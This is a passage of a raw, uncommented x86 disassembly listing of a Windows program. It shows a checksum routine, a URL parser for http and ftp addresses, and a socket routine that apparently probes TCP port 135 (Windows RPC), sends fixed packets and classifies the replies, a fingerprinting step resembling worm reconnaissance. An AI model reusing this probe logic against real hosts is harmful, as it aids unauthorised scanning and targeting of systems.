[edx] add ebx, eax sub ecx, 2 add edx, 2 cmp ecx, 1 jg short loc_420D22 cmp ecx, 0 jz short loc_420D4A loc_420D39: ; CODE XREF: sub_420D00+20j ; sub_420D00+48j xor eax, eax mov al, [edx] add ebx, eax sub ecx, 1 add edx, 1 cmp ecx, 0 jg short loc_420D39 loc_420D4A: ; CODE XREF: sub_420D00+37j mov [ebp+var_4], ebx mov eax, [ebp+var_4] shr eax, 10h mov ebx, [ebp+var_4] and ebx, 0FFFFh add eax, ebx mov ebx, eax shr ebx, 10h add eax, ebx mov [ebp+var_4], eax femms mov eax, [ebp+var_4] pop ebx not eax mov esp, ebp pop ebp retn sub_420D00 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_420DA0: ; CODE XREF: ___:00401019j mov eax, [esp+4] mov dword_50BB64, eax mov eax, offset dword_50BB64 retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_420DC0: ; CODE XREF: ___:00401771j push ebx push ebp push esi mov esi, [esp+10h] push edi mov edi, dword_50FAA0 push esi call edi ; ftell mov ebp, dword_50FA98 push 2 push 0 push esi mov ebx, eax call ebp ; fseek push esi call edi ; ftell push 0 push ebx push esi mov edi, eax call ebp ; fseek add esp, 20h mov eax, edi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420E10 proc near ; CODE XREF: sub_401938j var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_420E10 push eax mov large fs:0, esp sub esp, 78h push ebx push esi mov esi, [esp+8Ch+arg_0] xor ebx, ebx cmp esi, ebx push edi jnz short loc_420E3F xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_420E3F: ; CODE XREF: sub_420E10+26j lea ecx, [esp+90h+var_84] call sub_401424 push esi lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], ebx call sub_4015D7 push offset asc_443C94 ; ":" lea eax, [esp+94h+var_54] push ebx push eax lea ecx, [esp+9Ch+var_84] call sub_4016AE mov esi, [esp+90h+arg_4] push eax mov ecx, esi mov byte ptr [esp+94h+var_4], 1 call sub_401FBE lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jz short loc_420ECF push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jz short loc_420ECF lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_420ECF: ; CODE XREF: sub_420E10+92j ; sub_420E10+A2j push offset asc_444410 ; "/" lea ecx, [esp+94h+var_54] push 1 push ecx lea ecx, [esp+9Ch+var_84] call sub_4016AE push 40h mov ecx, eax mov byte ptr [esp+94h+var_4], 2 call sub_401D20 lea ecx, [esp+90h+var_54] mov edi, eax mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp edi, ebx push offset asc_444410 ; "/" push 1 jz loc_42120C lea edx, [esp+98h+var_24] lea ecx, [esp+98h+var_84] push edx call sub_4016AE push offset dword_4437F8 lea ecx, [esp+94h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 3 call sub_4016AE push offset asc_443C94 ; ":" lea edx, [esp+94h+var_54] push ebx push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 4 call sub_4016AE lea edi, [esi+15h] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 5 call sub_401FBE lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], 4 call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 3 call sub_401226 lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_446F70 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_420FC9 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_420FC9: ; CODE XREF: sub_420E10+19Cj push offset asc_444410 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+94h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 6 call sub_4016AE push offset asc_443C94 ; ":" lea edx, [esp+94h+var_24] push 1 push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 7 call sub_4016AE mov ecx, eax mov byte ptr [esp+90h+var_4], 8 call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+90h+var_24] mov [esi+54h], eax mov byte ptr [esp+90h+var_4], 7 call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 6 call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp [esi+54h], ebx jnz short loc_421095 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_42107E mov dword ptr [esi+54h], 50h loc_42107E: ; CODE XREF: sub_420E10+265j push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_421095 mov dword ptr [esi+54h], 15h loc_421095: ; CODE XREF: sub_420E10+255j ; sub_420E10+27Cj push offset asc_444410 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+94h+var_3C] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 9 call sub_4016AE push offset asc_443C94 ; ":" lea edx, [esp+94h+var_24] push ebx push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Ah call sub_4016AE lea edi, [esi+2Ah] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 0Bh call sub_401FBE lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Ah call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 9 call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_446F70 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_42114E lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_42114E: ; CODE XREF: sub_420E10+321j push offset asc_444410 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+94h+var_3C] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Ch call sub_4016AE push offset asc_443C94 ; ":" lea edx, [esp+94h+var_24] push 1 push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Dh call sub_4016AE lea edi, [esi+3Fh] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 0Eh call sub_401FBE lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Dh call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 0Ch call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_446F70 mov ecx, edi call sub_4012EE test eax, eax jnz loc_421333 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_42120C: ; CODE XREF: sub_420E10+100j lea eax, [esp+98h+var_3C] lea ecx, [esp+98h+var_84] push eax call sub_4016AE push offset asc_443C94 ; ":" lea ecx, [esp+94h+var_24] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Fh call sub_4016AE lea edi, [esi+15h] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 10h call sub_401FBE lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Fh call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_446F70 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_421293 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_421293: ; CODE XREF: sub_420E10+466j push offset asc_444410 ; "/" lea edx, [esp+94h+var_3C] push 1 push edx lea ecx, [esp+9Ch+var_84] call sub_4016AE push offset asc_443C94 ; ":" lea ecx, [esp+94h+var_24] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 11h call sub_4016AE mov ecx, eax mov byte ptr [esp+90h+var_4], 12h call sub_4017E4 push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+90h+var_24] mov [esi+54h], eax mov byte ptr [esp+90h+var_4], 11h call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp [esi+54h], ebx jnz short loc_421333 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_42131C mov dword ptr [esi+54h], 50h loc_42131C: ; CODE XREF: sub_420E10+503j push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_421333 mov dword ptr [esi+54h], 15h loc_421333: ; CODE XREF: sub_420E10+3DBj ; sub_420E10+4F3j ... push offset asc_444410 ; "/" lea ecx, [esp+94h+var_84] call sub_4013E3 lea edx, [esp+90h+var_6C] push eax push edx lea ecx, [esp+98h+var_84] call sub_401E2E push offset asc_444410 ; "/" lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 13h call sub_4013E3 push eax lea eax, [esp+94h+var_24] push eax lea ecx, [esp+98h+var_6C] call sub_401E2E push eax lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 14h call sub_40200E lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 13h call sub_401226 push offset asc_444410 ; "/" lea ecx, [esp+94h+var_6C] call sub_4013E3 lea ecx, [esp+90h+var_24] push eax push ecx lea ecx, [esp+98h+var_6C] call sub_401E2E push eax lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 15h call sub_40200E lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 13h call sub_401226 add esi, 58h push offset asc_444410 ; "/" mov ecx, esi call sub_4015D7 lea edx, [esp+90h+var_6C] mov ecx, esi push edx call sub_4016BD lea ecx, [esp+90h+var_6C] mov byte ptr [esp+90h+var_4], bl call sub_401226 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 loc_421419: ; CODE XREF: sub_420E10+2Aj ; sub_420E10+BAj ... mov ecx, [esp+90h+var_C] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 84h retn sub_420E10 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 190h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4215D0 proc near ; CODE XREF: sub_401AEBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov edx, [esp+arg_4] push ebx mov ebx, [esp+4+arg_C] push ebp sub edx, ebx xor eax, eax push esi push edi test edx, edx jle short loc_4215FB loc_4215E4: ; CODE XREF: sub_4215D0+29j mov esi, [esp+10h+arg_0] mov edi, [esp+10h+arg_8] add esi, eax mov ecx, ebx xor ebp, ebp repe cmpsb jz short loc_421602 inc eax cmp eax, edx jl short loc_4215E4 loc_4215FB: ; CODE XREF: sub_4215D0+12j pop edi pop esi pop ebp xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_421602: ; CODE XREF: sub_4215D0+24j pop edi pop esi pop ebp mov al, 1 pop ebx retn sub_4215D0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_421620: ; CODE XREF: ___:0040209Aj mov eax, 2010h call sub_436840 mov eax, [esp+2018h] push ebp push esi dec eax push edi jz short loc_42166D dec eax jz short loc_421647 dec eax pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_421647: ; CODE XREF: ___:00421638j mov eax, [esp+2020h] push 1388h push eax call sub_402004 add esp, 8 neg al sbb eax, eax pop edi pop esi and eax, 3 pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: ___:00421635j push 6 push 1 push 2 call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jz loc_4217C9 cmp esi, 0FFFFFFFFh jz loc_4217C9 xor ecx, ecx push 87h mov [esp+10h], ecx mov word ptr [esp+10h], 2 mov [esp+14h], ecx mov [esp+18h], ecx mov [esp+1Ch], ecx nop call near ptr 71AB2B66h mov edx, [esp+2020h] mov [esp+0Eh], ax push edx call sub_40187F add esp, 4 mov [esp+10h], eax lea eax, [esp+0Ch] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jz loc_4217C2 mov ebp, dword_50FC8C push 0 push 48h push offset dword_443DD8 push esi call ebp ; send cmp eax, 0FFFFFFFFh jz loc_4217C2 mov edi, dword_50FC90 push 0 lea ecx, [esp+20h] push 2000h push ecx push esi call edi ; recv cmp eax, 0FFFFFFFFh jz loc_4217C2 cmp byte ptr [esp+1Eh], 0Ch jnz loc_4217C2 push 0 push 18h push offset dword_443E4C push esi call ebp ; send cmp eax, 0FFFFFFFFh jz loc_4217C2 push 0 lea edx, [esp+20h] push 2000h push edx push esi call edi ; recv mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_4217C2 cmp byte ptr [esp+1Eh], 2 jnz short loc_4217C2 push 10h push offset loc_443E24 lea eax, [esp+24h] push edi push eax call sub_401AEB add esp, 10h test al, al jz short loc_421791 xor ecx, ecx cmp edi, 12Ch setnl cl inc ecx push esi mov edi, ecx nop call near ptr 71AB9639h mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_421791: ; CODE XREF: ___:0042176Ej push 10h push offset dword_443E38 lea edx, [esp+24h] push edi push edx call sub_401AEB add esp, 10h neg al sbb eax, eax push esi and eax, 3 mov edi, eax nop call near ptr 71AB9639h mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_4217C2: ; CODE XREF: ___:004216DBj ; ___:004216F6j ... push esi nop call near ptr 71AB9639h loc_4217C9: ; CODE XREF: ___:0042167Ej ; ___:00421687j pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_421850: ; CODE XREF: ___:00401A00j xor al, al retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421870 proc near ; CODE XREF: sub_40120Dj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401311 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4010E6 sub_421870 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4218B0 proc near ; CODE XREF: sub_4018D9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401901 sub_4218B0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4218F0 proc near ; CODE XREF: sub_401816j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40196F mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4014D8 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401997 mov edx, [esi+4] mov ecx, esi push edx call sub_401947 sub_4218F0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421960 proc near ; CODE XREF: sub_4014D8j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_40204F mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401EBF mov eax, esi pop esi retn 4 sub_421960 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4219A0 proc near ; CODE XREF: sub_40196Fj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401EBF mov eax, esi pop esi retn 4 sub_4219A0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4219D0 proc near ; CODE XREF: sub_402167j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_40196F mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4018FC sub_4219D0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A10 proc near ; CODE XREF: sub_401703j push esi mov esi, ecx call sub_4019EC mov eax, esi pop esi retn sub_421A10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A30 proc near ; CODE XREF: sub_40122Bj mov eax, [ecx] push eax call sub_4010F5 add esp, 4 retn sub_421A30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A50 proc near ; CODE XREF: sub_40107Dj push esi mov esi, ecx mov eax, [esi] push eax call sub_40204F mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_421A50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A80 proc near ; CODE XREF: sub_401802j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401FFF neg al sbb eax, eax inc eax retn 4 sub_421A80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421AB0 proc near ; CODE XREF: sub_4016E0j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401212 sub_421AB0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421AF0 proc near ; CODE XREF: sub_401253j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_4013ED mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_40145B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40100F mov edx, [esi+4] mov ecx, esi push edx call sub_4021B7 sub_421AF0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B60 proc near ; CODE XREF: sub_40145Bj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_40110E mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401D75 mov eax, esi pop esi retn 4 sub_421B60 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421BA0 proc near ; CODE XREF: sub_4013EDj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401D75 mov eax, esi pop esi retn 4 sub_421BA0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421BD0 proc near ; CODE XREF: sub_401325j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_4013ED mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401BAE sub_421BD0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C10 proc near ; CODE XREF: sub_401B40j push esi mov esi, ecx call sub_4011A9 mov eax, esi pop esi retn sub_421C10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C30 proc near ; CODE XREF: sub_401055j mov eax, [ecx] push eax call sub_40108C add esp, 4 retn sub_421C30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C50 proc near ; CODE XREF: sub_40182Aj push esi mov esi, ecx mov eax, [esi] push eax call sub_40110E mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_421C50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C80 proc near ; CODE XREF: sub_4012BCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401D48 neg al sbb eax, eax inc eax retn 4 sub_421C80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421CB0 proc near ; CODE XREF: sub_4010E6j arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401ECE mov edi, eax push edi call sub_401B1D mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_40139D sub_421CB0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401B1D push edi mov [eax], ebx call sub_401B1D mov edi, [eax] push edi call sub_401B1D mov ecx, [eax] push ecx call sub_4015D2 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401172 add esp, 4 mov ecx, esi push eax call sub_401E3D mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401D84 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421D50 proc near ; CODE XREF: sub_4018FCj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4010C8 mov edi, eax push edi call sub_401CF3 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401901 sub_421D50 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401CF3 push edi mov [eax], ebx call sub_401CF3 mov edi, [eax] push edi call sub_401CF3 mov ecx, [eax] push ecx call sub_40204F mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_4010F5 add esp, 4 mov ecx, esi push eax call sub_4017E9 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401EBF mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421DF0 proc near ; CODE XREF: sub_401997j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401802 test al, al jz short loc_421E4A loc_421E08: ; CODE XREF: sub_421DF0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4020B8 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401A1E ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401802 test al, al jnz short loc_421E08 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_421E4A: ; CODE XREF: sub_421DF0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_421DF0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421E80 proc near ; CODE XREF: sub_401901j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 24h call sub_401DF2 sub_421E80 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_421E95 mov edi, esi loc_421E95: ; CODE XREF: ___:00421E91j push esi call sub_40204F mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_421EAA mov edi, esi loc_421EAA: ; CODE XREF: ___:00421EA6j push esi call sub_401CF3 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421ED0 proc near ; CODE XREF: sub_401947j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401546 sub_421ED0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421EF0 proc near ; CODE XREF: sub_40204Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_421EF0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421F10 proc near ; CODE XREF: sub_4010F5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_421F10 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421F30 proc near ; CODE XREF: sub_4019ECj mov eax, ecx retn sub_421F30 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421F50 proc near ; CODE XREF: sub_401EBFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401519 mov eax, esi pop esi retn 4 sub_421F50 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421F80 proc near ; CODE XREF: sub_401FFFj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_421F80 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421FB0 proc near ; CODE XREF: sub_401BAEj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4018E8 mov edi, eax push edi call sub_4010EB mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401212 sub_421FB0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_4010EB push edi mov [eax], ebx call sub_4010EB mov edi, [eax] push edi call sub_4010EB mov ecx, [eax] push ecx call sub_40110E mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_40108C add esp, 4 mov ecx, esi push eax call sub_4013DE mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401D75 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; 